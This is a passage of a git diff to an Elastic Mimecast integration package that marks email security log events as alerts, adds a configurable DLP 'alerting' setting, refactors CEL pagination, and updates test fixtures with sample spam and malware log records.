full.","senderEnvelope":"auser@mimecast.com","messageId":"messageId","threatState":"DELIVERED","senderHeader":"auser@mimecast.com","source":"OFFICE_365_MAIL","type":"entities","tags":["UNTRUSTWORTHY","SPAM"],"accountId":"C0A0","aggregateId":"aggregateId","processingId":"processingId","threatType":"POLICIES_DISABLED","recipients":["auser@testdomain.com"],"policiesApplied":[{"action":null,"mode":null,"name":"Default O365 Mail policy"},{"action":null,"mode":null,"name":"Default O365 Mail policy"}],"historicalMail":false,"subtype":"POLICIES_DISABLED","senderIp":"81.2.69.144","timestamp":1689685037899,"direction":"Inbound"} diff --git a/packages/mimecast/data_stream/cloud_integrated_logs/_dev/test/pipeline/test-cloud-integrated-logs.log-expected.json b/packages/mimecast/data_stream/cloud_integrated_logs/_dev/test/pipeline/test-cloud-integrated-logs.log-expected.json index 8eb7938009e..8cc0fc92ca6 100644 --- a/packages/mimecast/data_stream/cloud_integrated_logs/_dev/test/pipeline/test-cloud-integrated-logs.log-expected.json +++ b/packages/mimecast/data_stream/cloud_integrated_logs/_dev/test/pipeline/test-cloud-integrated-logs.log-expected.json @@ -348,6 +348,7 @@ "email" ], "created": "2024-11-18T15:24:35.250Z", + "kind": "alert", "original": "{\"_offset\":1790506,\"_partition\":53,\"accountId\":\"AUS2474\",\"aggregateId\":\"4XsWdG63WDzFy33-kckoq8rx19ibc7iccjsjx6hsxd_1731943475\",\"attachments\":[\"Sandbox Test.xlsx\"],\"direction\":\"INBOUND\",\"historicalMail\":false,\"messageId\":\"<0bb5c112-9013-584b-eb87-e5376f49c9ac@demovation-ci.b41.one>\",\"policiesApplied\":[{\"action\":\"BLOCK\",\"mode\":\"ACTIVE\",\"name\":\"Default O365 Mail policy\"}],\"processingId\":\"66e03b099e150698fc62f354796f2baa94c2f625a34ac92a0c7e8eb4a2afb11c_1731943475\",\"recipients\":[\"steve.january@demovation-ci.b41.one\"],\"senderEnvelope\":\"announcements@demovation-ci.b41.one\",\"senderHeader\":\"\",\"senderIp\":\"81.2.69.144\",\"source\":\"OFFICE_365_MAIL\",\"subject\":\"Message from Node-RED\",\"subtype\":\"MALWARE\",\"tags\":[\"MALWARE\"],\"threatState\":\"BLOCKED\",\"threatType\":\"MALWARE\",\"timestamp\":1731943475250,\"type\":\"entities\"}" }, "mimecast": { @@ -1204,6 +1205,95 @@ "tags": [ "preserve_original_event" ] + }, + { + "@timestamp": "2023-07-18T12:57:17.899Z", + "ecs": { + "version": "8.11.0" + }, + "email": { + "attachments": [ + { + "file": { + "name": [ + "tpsreport.xlsx" + ] + } + } + ], + "direction": "inbound", + "from": { + "address": [ + "auser@mimecast.com" + ] + }, + "message_id": "messageId", + "subject": "RE: Your archive mailbox is almost full.", + "to": { + "address": [ + "auser@testdomain.com" + ] + } + }, + "event": { + "category": [ + "email" + ], + "created": "2023-07-18T12:57:17.899Z", + "kind": "alert", + "original": "{\"attachments\":[\"tpsreport.xlsx\"],\"subject\":\"RE: Your archive mailbox is almost full.\",\"senderEnvelope\":\"auser@mimecast.com\",\"messageId\":\"messageId\",\"threatState\":\"DELIVERED\",\"senderHeader\":\"auser@mimecast.com\",\"source\":\"OFFICE_365_MAIL\",\"type\":\"entities\",\"tags\":[\"UNTRUSTWORTHY\",\"SPAM\"],\"accountId\":\"C0A0\",\"aggregateId\":\"aggregateId\",\"processingId\":\"processingId\",\"threatType\":\"POLICIES_DISABLED\",\"recipients\":[\"auser@testdomain.com\"],\"policiesApplied\":[{\"action\":null,\"mode\":null,\"name\":\"Default O365 Mail policy\"},{\"action\":null,\"mode\":null,\"name\":\"Default O365 Mail policy\"}],\"historicalMail\":false,\"subtype\":\"POLICIES_DISABLED\",\"senderIp\":\"81.2.69.144\",\"timestamp\":1689685037899,\"direction\":\"Inbound\"}" + }, + "mimecast": { + "accountId": "C0A0", + "aggregateId": "aggregateId", + "historicalMail": false, + "log_type": "entities", + "policiesApplied": [ + { + "name": "Default O365 Mail policy" + }, + { + "name": "Default O365 Mail policy" + } + ], + "processingId": "processingId", + "senderHeader": "auser@mimecast.com", + "source": "OFFICE_365_MAIL", + "subtype": "POLICIES_DISABLED", + "tags": [ + "UNTRUSTWORTHY", + "SPAM" + ], + "threatState": "DELIVERED", + "threatType": "POLICIES_DISABLED" + }, + "related": { + "ip": [ + "81.2.69.144" + ], + "user": [ + "auser@mimecast.com", + "auser@testdomain.com" + ] + }, + "source": { + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.144" + }, + "tags": [ + "preserve_original_event" + ] } ] -} \ No newline at end of file +} diff --git a/packages/mimecast/data_stream/cloud_integrated_logs/elasticsearch/ingest_pipeline/default.yml b/packages/mimecast/data_stream/cloud_integrated_logs/elasticsearch/ingest_pipeline/default.yml index 5064b4ac127..5427cd8b66d 100644 --- a/packages/mimecast/data_stream/cloud_integrated_logs/elasticsearch/ingest_pipeline/default.yml +++ b/packages/mimecast/data_stream/cloud_integrated_logs/elasticsearch/ingest_pipeline/default.yml @@ -34,6 +34,10 @@ processors: field: event.created copy_from: '@timestamp' if: ctx['@timestamp'] != null + - set: + field: event.kind + value: alert + if: ctx.mimecast?.tags instanceof List && ctx.mimecast.tags.length != 0 ### NOTE LOG TYPE - rename: diff --git a/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-common-config.yml b/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-common-config.yml index 4da22641654..88df615b191 100644 --- a/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-common-config.yml +++ b/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-common-config.yml @@ -1,3 +1,6 @@ fields: + _conf: + alerting: + - block tags: - preserve_original_event diff --git a/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-dlp-logs.log b/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-dlp-logs.log index 26e079b7fde..d4bac68acba 100644 --- a/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-dlp-logs.log +++ b/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-dlp-logs.log @@ -13,4 +13,5 @@ {"senderAddress":"zimin.lu@demo-int.elastic.mime-api.com","recipientAddress":"vkaminski@demo-visionary.b41.one","subject":"Re","eventTime":"2024-11-17T20:57:30+0000","route":"outbound","policy":"Confidential","action":"hold","messageId":"<5f9f4f4f0e0afb06-147953@hapi.b41.one>"} {"senderAddress":"thomas.bentz@empirepartners.b41.one","recipientAddress":"thomas.bentz@demo-int.elastic.mime-api.com","subject":"FIRE DRILL","eventTime":"2024-11-17T20:16:02+0000","route":"inbound","policy":"Confidential","action":"hold","messageId":"<2a5df47e8f85f62a-216237@hapi.b41.one>"} {"senderAddress":"webmaster@empirepartners.b41.one","recipientAddress":"vkamins@demo-int.elastic.mime-api.com","subject":"New CERA.com Coming Soon! - CERA Alert","eventTime":"2024-11-17T19:47:39+0000","route":"inbound","policy":"Confidential","action":"hold","messageId":""} +{"senderAddress":"webmaster@empirepartners.b41.one","recipientAddress":"vkamins@demo-int.elastic.mime-api.com","subject":"New CERA.com Coming Soon! - CERA Alert","eventTime":"2024-11-17T19:47:39+0000","route":"inbound","policy":"Confidential","action":"block","messageId":""} {"meta":{"status":200,"pagination":{"pageSize":10,"totalCount":519,"next":"nextToken"}},"data":[],"fail":[]} diff --git a/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-dlp-logs.log-expected.json b/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-dlp-logs.log-expected.json index 6dbb98c137f..3b9fc5480a5 100644 --- a/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-dlp-logs.log-expected.json +++ b/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-dlp-logs.log-expected.json @@ -525,6 +525,42 @@ "preserve_original_event" ] }, + { + "@timestamp": "2024-11-17T19:47:39.000Z", + "ecs": { + "version": "8.11.0" + }, + "email": { + "direction": "inbound", + "from": { + "address": [ + "webmaster@empirepartners.b41.one" + ] + }, + "message_id": "", + "subject": "New CERA.com Coming Soon! - CERA Alert", + "to": { + "address": [ + "vkamins@demo-int.elastic.mime-api.com" + ] + } + }, + "event": { + "action": "block", + "category": [ + "email" + ], + "created": "2024-11-17T19:47:39+0000", + "kind": "alert", + "original": "{\"senderAddress\":\"webmaster@empirepartners.b41.one\",\"recipientAddress\":\"vkamins@demo-int.elastic.mime-api.com\",\"subject\":\"New CERA.com Coming Soon! - CERA Alert\",\"eventTime\":\"2024-11-17T19:47:39+0000\",\"route\":\"inbound\",\"policy\":\"Confidential\",\"action\":\"block\",\"messageId\":\"\"}" + }, + "rule": { + "name": "Confidential" + }, + "tags": [ + "preserve_original_event" + ] + }, null ] -} \ No newline at end of file +} diff --git a/packages/mimecast/data_stream/dlp_logs/agent/stream/cel.yml.hbs b/packages/mimecast/data_stream/dlp_logs/agent/stream/cel.yml.hbs index 96d4f70f83c..2de678a680a 100644 --- a/packages/mimecast/data_stream/dlp_logs/agent/stream/cel.yml.hbs +++ b/packages/mimecast/data_stream/dlp_logs/agent/stream/cel.yml.hbs @@ -90,7 +90,7 @@ program: | } }).do_request().as(resp, resp.StatusCode == 200 ? bytes(resp.Body).decode_json().as(body, body.?fail.orValue([]).size() == 0 ? - { + (has(body.?meta.pagination.next) && size(body.data) != 0).as(want_more, { "events": body.data.map(e, e[state.data_path].map(l, {"message": l.encode_json()})).flatten(), "cursor": { "last": ( @@ -106,19 +106,19 @@ program: | ).format(time_layout.RFC3339) ), }, - ?"last_page": has(body.?meta.pagination.next) && size(body.data) != 0 ? - optional.of({ + "last_page": want_more ? + dyn({ ?"next": body.?meta.pagination.next, - "data": req.data, + ?"data": req.?data, }) : - optional.none(), + dyn(null), // required to clear the incoming state "token": { "access_token": token.access_token, "expires": token.expires, }, - "want_more": has(body.?meta.pagination.next) && size(body.data) != 0, - } + "want_more": want_more, + }) : // Mimecast can return failure states with a 200. This // is detected by a non-empty fail array at the root @@ -155,6 +155,13 @@ program: | ) ) ) +{{#if alerting}} +_conf: + alerting: +{{#each alerting as |a|}} + - {{a}} +{{/each}} +{{/if}} tags: {{#if preserve_original_event}} - preserve_original_event diff --git a/packages/mimecast/data_stream/dlp_logs/agent/stream/httpjson.yml.hbs b/packages/mimecast/data_stream/dlp_logs/agent/stream/httpjson.yml.hbs index ed591c503aa..ca64acf25b4 100644 --- a/packages/mimecast/data_stream/dlp_logs/agent/stream/httpjson.yml.hbs +++ b/packages/mimecast/data_stream/dlp_logs/agent/stream/httpjson.yml.hbs @@ -42,6 +42,13 @@ response.pagination: cursor: next_date: value: '[[.first_event.eventTime]]' +{{#if alerting}} +_conf: + alerting: +{{#each alerting as |a|}} + - {{a}} +{{/each}} +{{/if}} tags: {{#if preserve_original_event}} - preserve_original_event diff --git a/packages/mimecast/data_stream/dlp_logs/elasticsearch/ingest_pipeline/default.yml b/packages/mimecast/data_stream/dlp_logs/elasticsearch/ingest_pipeline/default.yml index df6903f7bd8..2f1c7f0e15a 100644 --- a/packages/mimecast/data_stream/dlp_logs/elasticsearch/ingest_pipeline/default.yml +++ b/packages/mimecast/data_stream/dlp_logs/elasticsearch/ingest_pipeline/default.yml @@ -26,6 +26,10 @@ processors: - set: field: event.category value: [email] + - set: + field: event.kind + value: alert + if: ctx._conf?.alerting instanceof List && ctx._conf.alerting.contains(ctx.mimecast?.action) - date: description: Use 'mimecast.eventTime' as the '@timestamp' @@ -90,6 +94,7 @@ processors: description: Cleanup of repeated/unwanted/temporary fields. field: - mimecast + - _conf ignore_missing: true # Error handling diff --git a/packages/mimecast/data_stream/dlp_logs/manifest.yml b/packages/mimecast/data_stream/dlp_logs/manifest.yml index 7aa4393ea8f..f7b930e23c9 100644 --- a/packages/mimecast/data_stream/dlp_logs/manifest.yml +++ b/packages/mimecast/data_stream/dlp_logs/manifest.yml @@ -14,6 +14,14 @@ streams: required: true show_user: false default: 5m + - name: alerting + type: text + title: Alert Actions + multi: true + required: true + show_user: true + default: + - block - name: tags type: text title: Tags @@ -78,6 +86,15 @@ streams: multi: false required: true show_user: false + - name: alerting + type: text + title: Alert Actions + description: The set of DLP actions that should be classified as an alert. Possible values are delete, hold, bouce, smart_folder, disable_smart_folder, content_expire, meta_expire, stationery, disable_stationery, gcc, secure_delivery, delivery_route, document_policy, disable_document_policy, secure_messaging, disable_secure_messaging_policy, attach_set_policy, remove_email, tag, link, block, none, and notification. + multi: true + required: true + show_user: true + default: + - block - name: tags type: text title: Tags diff --git a/packages/mimecast/data_stream/message_release_logs/_dev/test/pipeline/test-release-logs.json-expected.json b/packages/mimecast/data_stream/message_release_logs/_dev/test/pipeline/test-release-logs.json-expected.json index c0ae5d9d7ae..847d48d2402 100644 --- a/packages/mimecast/data_stream/message_release_logs/_dev/test/pipeline/test-release-logs.json-expected.json +++ b/packages/mimecast/data_stream/message_release_logs/_dev/test/pipeline/test-release-logs.json-expected.json @@ -26,7 +26,7 @@ "email" ], "id": "eNpVj21LhEAUhf_LfN2VnRl1RpclCN...", - "kind": "event", + "kind": "alert", "original": "{\"attachments\":true,\"detectionLevel\":\"moderate\",\"fromEnv\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"fromHdr\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"heldGroup\":\"IT Staff Global\",\"heldReason\":\"High-Confidence Impersonation Protection\",\"id\":\"eNpVj21LhEAUhf_LfN2VnRl1RpclCN...\",\"messageInfo\":\"Expired in queue - rejected by housekeeping\",\"operator\":\"admin@domain.tld\",\"policy\":\"Moderate Spam Detection\",\"rejectReason\":\"Message contains undesirable content\",\"released\":\"2015-11-25T14:49:18+00:00\",\"route\":\"inbound\",\"size\":5043,\"spamProcessingDetail\":{\"dkim\":{\"allow\":true,\"info\":\"allow\"},\"dmarc\":{\"allow\":true,\"info\":\"allow\"},\"greyEmail\":true,\"managedSender\":{\"allow\":true,\"info\":\"allow\"},\"permittedSender\":{\"allow\":true,\"info\":\"allow\"},\"rbl\":{\"allow\":true,\"info\":\"allow\"},\"spamVerdict\":{\"categories\":[{\"name\":\"spam\",\"risk\":\"low\",\"subcategories\":[{\"augmentations\":[{\"name\":\"body\",\"risk\":\"negligible\"}],\"name\":\"phishing\",\"risk\":\"low\"}]}],\"decision\":\"spam\",\"description\":\"\",\"risk\":\"low\"},\"spf\":{\"allow\":true,\"info\":\"allow\"}},\"spamScore\":12,\"status\":\"released\",\"subject\":\"Exclusive Offer - You don't want to miss this!\",\"to\":[{\"displayableName\":\"ToName LastName\",\"emailAddress\":\"to_user@to_domain.tld\"}]}", "reason": "Message contains undesirable content", "risk_score": 12, @@ -171,7 +171,7 @@ "email" ], "id": "eNpVj21LhEAUhf_LfN2VnRl1RpclCN...", - "kind": "event", + "kind": "alert", "original": "{\"attachments\":true,\"detectionLevel\":\"moderate\",\"fromEnv\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"fromHdr\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"heldGroup\":\"IT Staff Global\",\"heldReason\":\"High-Confidence Impersonation Protection\",\"id\":\"eNpVj21LhEAUhf_LfN2VnRl1RpclCN...\",\"messageInfo\":\"Expired in queue - rejected by housekeeping\",\"operator\":\"admin@domain.tld\",\"policy\":\"Moderate Spam Detection\",\"rejectReason\":\"Message contains undesirable content\",\"released\":\"2015-11-25T14:49:18+00:00\",\"route\":\"outbound\",\"size\":5043,\"spamProcessingDetail\":{\"dkim\":{\"allow\":true,\"info\":\"allow\"},\"dmarc\":{\"allow\":true,\"info\":\"allow\"},\"greyEmail\":true,\"managedSender\":{\"allow\":true,\"info\":\"allow\"},\"permittedSender\":{\"allow\":true,\"info\":\"allow\"},\"rbl\":{\"allow\":true,\"info\":\"allow\"},\"spamVerdict\":{\"categories\":[{\"name\":\"spam\",\"risk\":\"low\",\"subcategories\":[{\"augmentations\":[{\"name\":\"body\",\"risk\":\"negligible\"}],\"name\":\"phishing\",\"risk\":\"low\"}]}],\"decision\":\"spam\",\"description\":\"\",\"risk\":\"low\"},\"spf\":{\"allow\":true,\"info\":\"allow\"}},\"spamScore\":12,\"status\":\"released\",\"subject\":\"Exclusive Offer - You don't want to miss this!\",\"to\":[{\"displayableName\":\"ToName LastName\",\"emailAddress\":\"to_user@to_domain.tld\"}]}", "reason": "Message contains undesirable content", "risk_score": 12, @@ -316,7 +316,7 @@ "email" ], "id": "eNpVj21LhEAUhf_LfN2VnRl1RpclCN...", - "kind": "event", + "kind": "alert", "original": "{\"attachments\":true,\"detectionLevel\":\"moderate\",\"fromEnv\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"fromHdr\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"heldGroup\":\"IT Staff Global\",\"heldReason\":\"High-Confidence Impersonation Protection\",\"id\":\"eNpVj21LhEAUhf_LfN2VnRl1RpclCN...\",\"messageInfo\":\"Expired in queue - rejected by housekeeping\",\"operator\":\"admin@domain.tld\",\"policy\":\"Moderate Spam Detection\",\"rejectReason\":\"Message contains undesirable content\",\"released\":\"2015-11-25T14:49:18+00:00\",\"route\":\"inbound\",\"size\":5043,\"spamProcessingDetail\":{\"dkim\":{\"allow\":true,\"info\":\"allow\"},\"dmarc\":{\"allow\":true,\"info\":\"allow\"},\"greyEmail\":true,\"managedSender\":{\"allow\":true,\"info\":\"allow\"},\"permittedSender\":{\"allow\":true,\"info\":\"allow\"},\"rbl\":{\"allow\":true,\"info\":\"allow\"},\"spamVerdict\":{\"categories\":[{\"name\":\"spam\",\"risk\":\"low\",\"subcategories\":[{\"augmentations\":[{\"name\":\"body\",\"risk\":\"negligible\"}],\"name\":\"phishing\",\"risk\":\"low\"}]}],\"decision\":\"spam\",\"description\":\"\",\"risk\":\"low\"},\"spf\":{\"allow\":true,\"info\":\"allow\"}},\"spamScore\":12,\"status\":\"released\",\"subject\":\"Exclusive Offer - You don't want to miss this!\",\"to\":[{\"emailAddress\":\"to_user@to_domain.tld\"}]}", "reason": "Message contains undesirable content", "risk_score": 12, @@ -456,7 +456,7 @@ "email" ], "id": "eNpVj21LhEAUhf_LfN2VnRl1RpclCN...", - "kind": "event", + "kind": "alert", "original": "{\"attachments\":true,\"detectionLevel\":\"moderate\",\"fromEnv\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"fromHdr\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"heldGroup\":\"IT Staff Global\",\"heldReason\":\"High-Confidence Impersonation Protection\",\"id\":\"eNpVj21LhEAUhf_LfN2VnRl1RpclCN...\",\"messageInfo\":\"Expired in queue - rejected by housekeeping\",\"operator\":\"admin@domain.tld\",\"policy\":\"Moderate Spam Detection\",\"rejectReason\":\"Message contains undesirable content\",\"released\":\"2015-11-25T14:49:18+00:00\",\"route\":\"outbound\",\"size\":5043,\"spamProcessingDetail\":{\"dkim\":{\"allow\":true,\"info\":\"allow\"},\"dmarc\":{\"allow\":true,\"info\":\"allow\"},\"greyEmail\":true,\"managedSender\":{\"allow\":true,\"info\":\"allow\"},\"permittedSender\":{\"allow\":true,\"info\":\"allow\"},\"rbl\":{\"allow\":true,\"info\":\"allow\"},\"spamVerdict\":{\"categories\":[{\"name\":\"spam\",\"risk\":\"low\",\"subcategories\":[{\"augmentations\":[{\"name\":\"body\",\"risk\":\"negligible\"}],\"name\":\"phishing\",\"risk\":\"low\"}]}],\"decision\":\"spam\",\"description\":\"\",\"risk\":\"low\"},\"spf\":{\"allow\":true,\"info\":\"allow\"}},\"spamScore\":12,\"status\":\"released\",\"subject\":\"Exclusive Offer - You don't want to miss this!\",\"to\":[{\"emailAddress\":\"to_user@to_domain.tld\"}]}", "reason": "Message contains undesirable content", "risk_score": 12, @@ -598,7 +598,7 @@ "email" ], "id": "eNpVj21LhEAUhf_LfN2VnRl1RpclCN...", - "kind": "event", + "kind": "alert", "original": "{\"attachments\":true,\"detectionLevel\":\"moderate\",\"fromEnv\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"fromHdr\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"heldGroup\":\"IT Staff Global\",\"heldReason\":\"High-Confidence Impersonation Protection\",\"id\":\"eNpVj21LhEAUhf_LfN2VnRl1RpclCN...\",\"messageInfo\":\"Expired in queue - rejected by housekeeping\",\"operator\":\"admin@domain.tld\",\"policy\":\"Moderate Spam Detection\",\"rejectReason\":\"Message contains undesirable content\",\"route\":\"outbound\",\"size\":5043,\"spamProcessingDetail\":{\"dkim\":{\"allow\":true,\"info\":\"allow\"},\"dmarc\":{\"allow\":true,\"info\":\"allow\"},\"greyEmail\":true,\"managedSender\":{\"allow\":true,\"info\":\"allow\"},\"permittedSender\":{\"allow\":true,\"info\":\"allow\"},\"rbl\":{\"allow\":true,\"info\":\"allow\"},\"spamVerdict\":{\"categories\":[{\"name\":\"spam\",\"risk\":\"low\",\"subcategories\":[{\"augmentations\":[{\"name\":\"body\",\"risk\":\"negligible\"}],\"name\":\"phishing\",\"risk\":\"low\"}]}],\"decision\":\"spam\",\"description\":\"\",\"risk\":\"low\"},\"spf\":{\"allow\":true,\"info\":\"allow\"}},\"spamScore\":12,\"status\":\"released\",\"subject\":\"Exclusive Offer - You don't want to miss this!\",\"to\":[{\"emailAddress\":\"to_user@to_domain.tld\"}]}", "reason": "Message contains undesirable content", "risk_score": 12, @@ -863,7 +863,7 @@ "email" ], "id": "eNoNjt0KgjAYQN9ltwlNMVZBF...", - "kind": "event", + "kind": "alert", "original": "{\"id\":\"eNoNjt0KgjAYQN9ltwlNMVZBF...\",\"status\":\"rejected\",\"rejectReason\":\"Message goes against email policies\",\"heldReason\":\"Default Spam Scanning Definition\",\"messageInfo\":\"Graymail\",\"released\":\"2024-10-28T14:16:51+0000\",\"operator\":{\"emailAddress\":\"monika.causholli@demo-int.elastic.mime-api.com\"},\"fromEnv\":{\"emailAddress\":\"yahoo-delivers@evaluation-fuzz.b41.one\"},\"fromHdr\":{\"emailAddress\":\"yahoo-delivers@evaluation-fuzz.b41.one\"},\"to\":[{\"emailAddress\":\"monika.causholli@demo-int.elastic.mime-api.com\"}],\"subject\":\"Yahoo! Newsletter, November 2001\",\"attachments\":true,\"route\":\"inbound\",\"size\":3670056,\"policy\":\"Default Spam Scanning Definition\",\"spamScore\":20,\"detectionLevel\":\"relaxed\",\"spamProcessingDetail\":{\"rbl\":{\"allow\":true,\"info\":\"\"},\"greyEmail\":false,\"spf\":{\"allow\":true,\"info\":\"allow\"},\"dkim\":{\"allow\":true,\"info\":\"unknown\"},\"dmarc\":{\"allow\":true,\"info\":\"allow\"},\"permittedSender\":{\"allow\":true,\"info\":\"none\"},\"managedSender\":{\"allow\":true,\"info\":\"unknown\"},\"verdict\":{\"decision\":\"spam\",\"description\":\"\",\"risk\":\"high\",\"categories\":[{\"name\":\"spam\",\"risk\":\"high\",\"subcategories\":[{\"name\":\"technology_feed\",\"risk\":\"high\",\"augmentations\":[]},{\"name\":\"content\",\"risk\":\"negligible\",\"augmentations\":[{\"name\":\"body\",\"risk\":\"negligible\"}]}]},{\"name\":\"graymail\",\"risk\":\"negligible\",\"subcategories\":[]}]}}}", "reason": "Message goes against email policies", "risk_score": 20, @@ -1003,7 +1003,7 @@ "email" ], "id": "eNoNjt0KgjAYQN9l10HTDCvow...", - "kind": "event", + "kind": "alert", "original": "{\"id\":\"eNoNjt0KgjAYQN9l10HTDCvow...\",\"status\":\"rejected\",\"rejectReason\":\"Message goes against email policies\",\"heldReason\":\"Default Spam Scanning Definition\",\"messageInfo\":\"Graymail\",\"released\":\"2024-10-28T14:18:43+0000\",\"operator\":{\"emailAddress\":\"vkamins@demo-int.elastic.mime-api.com\"},\"fromEnv\":{\"emailAddress\":\"erisk@pilot-meadow.b41.one\"},\"fromHdr\":{\"emailAddress\":\"erisk@pilot-meadow.b41.one\"},\"to\":[{\"emailAddress\":\"vkamins@demo-int.elastic.mime-api.com\"}],\"subject\":\"ERisk Essentials\",\"attachments\":false,\"route\":\"inbound\",\"size\":7473,\"policy\":\"Default Spam Scanning Definition\",\"spamScore\":9,\"detectionLevel\":\"relaxed\",\"spamProcessingDetail\":{\"rbl\":{\"allow\":true,\"info\":\"\"},\"greyEmail\":false,\"spf\":{\"allow\":true,\"info\":\"allow\"},\"dkim\":{\"allow\":true,\"info\":\"unknown\"},\"dmarc\":{\"allow\":true,\"info\":\"allow\"},\"permittedSender\":{\"allow\":true,\"info\":\"none\"},\"managedSender\":{\"allow\":true,\"info\":\"unknown\"},\"verdict\":{\"decision\":\"spam\",\"description\":\"\",\"risk\":\"medium\",\"categories\":[{\"name\":\"spam\",\"risk\":\"medium\",\"subcategories\":[{\"name\":\"technology_feed\",\"risk\":\"medium\",\"augmentations\":[]}]},{\"name\":\"graymail\",\"risk\":\"negligible\",\"subcategories\":[]}]}}}", "reason": "Message goes against email policies", "risk_score": 9, @@ -1232,4 +1232,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/mimecast/data_stream/message_release_logs/agent/stream/cel.yml.hbs b/packages/mimecast/data_stream/message_release_logs/agent/stream/cel.yml.hbs index 73b3c64ceaf..4ff865bb97d 100644 --- a/packages/mimecast/data_stream/message_release_logs/agent/stream/cel.yml.hbs +++ b/packages/mimecast/data_stream/message_release_logs/agent/stream/cel.yml.hbs @@ -90,7 +90,7 @@ program: | } }).do_request().as(resp, resp.StatusCode == 200 ? bytes(resp.Body).decode_json().as(body, body.?fail.orValue([]).size() == 0 ? - { + (has(body.?meta.pagination.next) && size(body.data) != 0).as(want_more, { "events": body.data.map(e, e[state.data_path].map(l, {"message": l.encode_json()})).flatten(), "cursor": { "last": ( @@ -106,19 +106,19 @@ program: | ).format(time_layout.RFC3339) ), }, - ?"last_page": has(body.?meta.pagination.next) && size(body.data) != 0 ? - optional.of({ + "last_page": want_more ? + dyn({ ?"next": body.?meta.pagination.next, - "data": req.data, + ?"data": req.?data, }) : - optional.none(), + dyn(null), // required to clear the incoming state "token": { "access_token": token.access_token, "expires": token.expires, }, - "want_more": has(body.?meta.pagination.next) && size(body.data) != 0, - } + "want_more": want_more, + }) : // Mimecast can return failure states with a 200. This // is detected by a non-empty fail array at the root diff --git a/packages/mimecast/data_stream/message_release_logs/elasticsearch/ingest_pipeline/default.yml b/packages/mimecast/data_stream/message_release_logs/elasticsearch/ingest_pipeline/default.yml index e6355ac8ed3..c91c540c635 100644 --- a/packages/mimecast/data_stream/message_release_logs/elasticsearch/ingest_pipeline/default.yml +++ b/packages/mimecast/data_stream/message_release_logs/elasticsearch/ingest_pipeline/default.yml @@ -190,6 +190,10 @@ processors: - set: field: event.kind value: event + - set: + field: event.kind + value: alert + if: ctx.mimecast?.rejectReason != null && ctx.mimecast.rejectReason != '' - set: field: event.reason copy_from: mimecast.rejectReason diff --git a/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-docs-logs.log-expected.json b/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-docs-logs.log-expected.json index 04c8f4af79b..7c872d4a5b5 100644 --- a/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-docs-logs.log-expected.json +++ b/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-docs-logs.log-expected.json @@ -157,6 +157,7 @@ "email" ], "created": "2017-05-26T19:24:18+0100", + "kind": "alert", "original": "{\"Act\":\"Hld\",\"AttCnt\":0,\"AttNames\":\"\",\"AttSize\":0,\"Hld\":\"Spm\",\"IPInternalName\":\"false\",\"IPNewDomain\":\"false\",\"IPReplyMismatch\":\"false\",\"IPSimilarDomain\":\"false\",\"IPThreadDict\":\"false\",\"MsgId\":\"messageId@mssageId\",\"MsgSize\":56442,\"aCode\":\"015vTYvNN-Wn30v7M5MzNw\",\"acc\":\"C0A0\",\"datetime\":\"2017-05-26T19:24:18+0100\"}", "outcome": "unknown", "reason": "Spm" @@ -281,6 +282,7 @@ "email" ], "created": "2021-03-05T16:25:17+0000", + "kind": "alert", "original": "{\"CustomerIP\":\"true\",\"IP\":\"0.0.0.0\",\"MimecastIP\":\"false\",\"MsgId\":\"<85485.121030516250700527@mta.uk.somewhere.tld>\",\"Recipient\":\"recipient@recipientdomain.tld\",\"Route\":\"Inbound\",\"Sender\":\"8jy0xzfjymioyjfjrajc@senderdomain.tld\",\"SenderDomain\":\"senderdomain.tld\",\"SenderDomainInternal\":\"false\",\"Size\":1648832,\"Subject\":\"Invoice Attached for payment\",\"Virus\":\"Anomali:Phishing\",\"acc\":\"C0A0\",\"datetime\":\"2021-03-05T16:25:17+0000\",\"fileExt\":\"xlsm\",\"fileMime\":\"application/vnd.ms-excel.sheet.macroEnabled.12\",\"fileName\":\"Invoice Attached for payment\",\"md5\":\"4dbe9dbfb53438d9ce410535355cd973\",\"sha1\":\"816b013c8be6e5708690645964b5d442c085041e\",\"sha256\":\"efe51c2453821310c7a34dca3054021d0f6d453b7133c381d75e3140901efd12\"}", "outcome": "unknown" }, @@ -328,6 +330,7 @@ "email" ], "created": "2021-03-05T18:18:39+0000", + "kind": "alert", "original": 